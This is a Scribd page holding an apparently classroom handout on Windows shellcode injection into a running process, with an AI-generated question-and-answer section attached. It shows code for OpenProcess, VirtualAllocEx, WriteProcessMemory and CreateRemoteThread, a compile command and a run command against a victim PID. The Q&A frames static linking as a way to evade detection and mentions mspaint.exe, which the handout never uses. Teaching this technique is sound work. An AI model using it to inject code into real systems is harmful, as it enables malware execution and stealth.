0% found this document useful (0 votes)
18 views6 pages

Shellcode Injection Techniques Explained

The document explains the technique of code injection, specifically focusing on payload injection using Windows debugging APIs. It outlines the steps to inject a payload into a target process, such as calc.exe, using functions like VirtualAllocEx, WriteProcessMemory, and CreateRemoteThread. Additionally, it discusses the importance of process integrity levels and the restrictions imposed by Mandatory Integrity Control (MIC).

Uploaded by

sta.akpa
Copyright
© All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PDF, TXT or read online on Scribd
0% found this document useful (0 votes)
18 views6 pages

Shellcode Injection Techniques Explained

The document explains the technique of code injection, specifically focusing on payload injection using Windows debugging APIs. It outlines the steps to inject a payload into a target process, such as calc.exe, using functions like VirtualAllocEx, WriteProcessMemory, and CreateRemoteThread. Additionally, it discusses the importance of process integrity levels and the restrictions imposed by Mandatory Integrity Control (MIC).

Uploaded by

sta.akpa
Copyright
© All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PDF, TXT or read online on Scribd

03 - injection (shellcode)

Let’s talk about code injection. What is code injection? And why we do that?

Code injection technique is a simply method when one process, in our case it’s our malware, inject code
into another running process.

In this practical example we will discuss about a classic technique which are payload injection using
debugging API.

So, let’s go to inject our payload to process. For example, messagebox payload.
So, what you want is to pivot to a target process or in other words to make your payload executing
somehow in another process on the same machine. For example in a [Link]:

The first thing is to allocates some memory inside your target process and the size of the buffer has to
be at least of size of your payload:

PROFESSEUR : [Link] ROS BTS SIO BORDEAUX - LYCÉE GUSTAVE EIFFEL


✦1/6✦

Then you copy your payload to the target process [Link] into the allocated memory:

and then "ask" the system to start executing your payload in a target process, which is [Link]:
So, let’s go to code this simple logic. Now the most popular combination to do this is using built-in
Windows API functions which are implemented for debugging purposes. There are:

VirtualAllocEx - [Link]
virtualallocex:

LPVOID VirtualAllocEx(
[in] HANDLE hProcess,
[in, optional] LPVOID lpAddress,
[in] SIZE_T dwSize,
[in] DWORD flAllocationType,
[in] DWORD flProtect
);

WriteProcessMemory - [Link]
memoryapi-writeprocessmemory:

BOOL WriteProcessMemory(
[in] HANDLE hProcess,
[in] LPVOID lpBaseAddress,
[in] LPCVOID lpBuffer,
[in] SIZE_T nSize,
[out] SIZE_T *lpNumberOfBytesWritten
); ROS
PROFESSEUR : [Link]
✦2/6✦
BTS SIO BORDEAUX - LYCÉE GUSTAVE EIFFEL

CreateRemoteThread - [Link]
processthreadsapi-createremotethread:

HANDLE CreateRemoteThread(
[in] HANDLE hProcess,
[in] LPSECURITY_ATTRIBUTES lpThreadAttributes,
[in] SIZE_T dwStackSize,
[in] LPTHREAD_START_ROUTINE lpStartAddress,
[in] LPVOID lpParameter,
[in] DWORD dwCreationFlags,
[out] LPDWORD lpThreadId
);
First you need to get the PID of the process, you could enter this PID yourself in our case. Next, open
the process with OpenProcess - [Link]
us/windows/win32/api/processthreadsapi/nf-processthreadsapi-openprocess function provided by
Kernel32 library:

// parse process ID
printf("PID: %i", atoi(argv[1]));
ph = OpenProcess(PROCESS_ALL_ACCESS, FALSE, DWORD(atoi(argv[1])));

Next, we use VirtualAllocEx which is allows to you to allocate memory buffer for remote process:

// allocate memory buffer for remote process


rb = VirtualAllocEx(ph, NULL, sizeof(my_payload), (MEM_RESERVE |
MEM_COMMIT), PAGE_EXECUTE_READWRITE);

Then, WriteProcessMemory allows you to copy data between processes, so copy our payload to
[Link] process.

// "copy" data between processes


WriteProcessMemory(ph, rb, my_payload, sizeof(my_payload), NULL);

And CreateRemoteThread is similar to CreateThread function but in this function you can specify
which process should start the new thread:

// our process start new thread


rt = CreateRemoteThread(ph, NULL, 0, (LPTHREAD_START_ROUTINE)rb, NULL,
0, NULL);
PROFESSEUR : [Link] ROS BTS SIO BORDEAUX - LYCÉE GUSTAVE EIFFEL
✦3/6✦

Let’s go to compile this code:

x86_64-w64-mingw32-gcc hack.c -o [Link] -s -ffunction-sections -fdata-


sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -
static-libstdc++ -static-libgcc
Let's go to inject our payload to [Link]. Ok, first of all run it.

Then run Process Hacker on our victim's machine:

As we can see, the process ID of the [Link] is 5412.

So, for injection run the following command:

.\[Link] 5412
PROFESSEUR : [Link] ROS
✦4/6✦
BTS SIO BORDEAUX - LYCÉE GUSTAVE EIFFEL
As we can see messagebox is popped up.

For checking correctness of our injection let's go to investigate memory of our victim process:

PROFESSEUR : [Link] ROS BTS SIO BORDEAUX - LYCÉE GUSTAVE EIFFEL


✦5/6✦
As we can see, everything is worked as expected!

But, there is a caveat. Opening another process with write access is submitted to restrictions. One
protection is Mandatory Integrity Control (MIC). MIC is a protection method to control access to objects
based on their “Integrity level”.
There are 4 integrity levels:

low level - process which are restricted to access most of the system (internet explorer).
medium level - is the default for any process started by unprivileged users and also administrator
PROFESSEUR : [Link] ROS BTS SIO BORDEAUX - LYCÉE GUSTAVE EIFFEL
✦6/6✦
users if UAC is enabled.
high level - process running with administrator privileges.
system level - by SYSTEM users, generally the level of system services and process requiring the
highest protection.

Common questions

Powered by AI

'WriteProcessMemory' is used to copy a payload into the allocated memory space of a target process, which enables the code injection. It essentially writes data to a specified location in the memory space of the specified process, facilitating the transfer of the malicious payload into the memory of the target process where it can later be executed. Its parameters include a handle to the target process, the base address of where to write the payload, a buffer containing the data to write, the number of bytes to write, and a pointer to store the number of bytes actually written .

The main functions utilized in the payload injection example include 'OpenProcess', 'VirtualAllocEx', 'WriteProcessMemory', and 'CreateRemoteThread'. These functions interact sequentially wherein 'OpenProcess' obtains process access with necessary rights, 'VirtualAllocEx' allocates executable memory space in the target process' memory, 'WriteProcessMemory' transfers the payload into that allocated space, and 'CreateRemoteThread' executes the payload by starting a thread in the target process using the address of the payload as the start point .

The debugging API, despite being intended for legitimate debugging tasks, is leveraged for code injection by exploiting its functions, such as 'OpenProcess' to gain access to processes, 'VirtualAllocEx' to allocate memory in the target process, 'WriteProcessMemory' to write the payload into allocated memory, and 'CreateRemoteThread' to execute the payload. These APIs provide extensive control over processes, such that misuse can occur, allowing unauthorized code execution within another process's memory framework .

'CreateRemoteThread' facilitates the execution of a payload in a code injection operation by creating a new thread in the target process, allowing the injected code (payload) to be executed in the context of that target process. It takes several parameters, including 'hProcess', a handle to the target process; 'lpStartAddress', which is a pointer to the starting address of the code to execute; and 'lpParameter', which is a pointer to any parameter to pass to the execution of the thread .

The key steps involved in injecting a payload into a running process using the Windows debugging API include: first, obtaining the process ID (PID) of the target process, such as calc.exe or mspaint.exe; second, opening the target process using the 'OpenProcess' function to gain the necessary access rights; third, allocating memory within the target process using the 'VirtualAllocEx' function to reserve and commit space for the payload; fourth, writing the payload into the allocated memory of the target process using 'WriteProcessMemory'; and finally, creating a remote thread in the target process using 'CreateRemoteThread' to execute the payload .

The 'VirtualAllocEx' function is used to allocate memory in the virtual address space of a specified process, enabling the injection of code into that process. Its parameters include 'hProcess' which is a handle to the process; 'lpAddress', an optional parameter specifying a desired memory address; 'dwSize', which indicates the size of the memory to allocate; 'flAllocationType', which flags the allocation type such as MEM_COMMIT or MEM_RESERVE; and 'flProtect', which sets the memory protection, commonly PAGE_EXECUTE_READWRITE for executable code .

When opening a process for code injection, various system protections such as Mandatory Integrity Control (MIC) need to be considered. MIC enforces restrictions based on the integrity level of the processes, potentially preventing low-integrity processes from writing to higher integrity levels. Additionally, User Account Control (UAC) can limit the permissions of processes run by users with administrative rights, and some processes may require explicit permissions or run with restricted access, requiring the injection code to handle such scenarios appropriately .

When compiling a program that performs code injection on Windows, considerations should include using the appropriate compiler flags to optimize for performance and compatibility, such as -s for stripping symbols, -ffunction-sections, and -fdata-sections for section optimization. Additionally, ensuring static linking with standards like -static-libstdc++ and -static-libgcc to avoid dependency issues and reduce detection by security tools is crucial for the effective execution of the injection without disruption .

Integrity levels set by Mandatory Integrity Control (MIC) affect a code injection attempt by restricting the ability of a process at a lower integrity level to modify or interfere with processes at a higher integrity level. For instance, a process running at a low integrity level like a web browser is prevented from injecting code into a process with medium, high, or system integrity levels, thus safeguarding critical system and user operations from unauthorized code injection attempts .

Mandatory Integrity Control (MIC) enforces security by restricting the access that lower integrity level processes have on higher level processes. It helps prevent unauthorized or less privileged processes from accessing or modifying more critical system areas. MIC defines four integrity levels: low level for restricted access processes like internet browsers, medium level as the default for most processes started by regular users, high level for processes with administrative privileges, and system level for the most protected system processes .

You might also like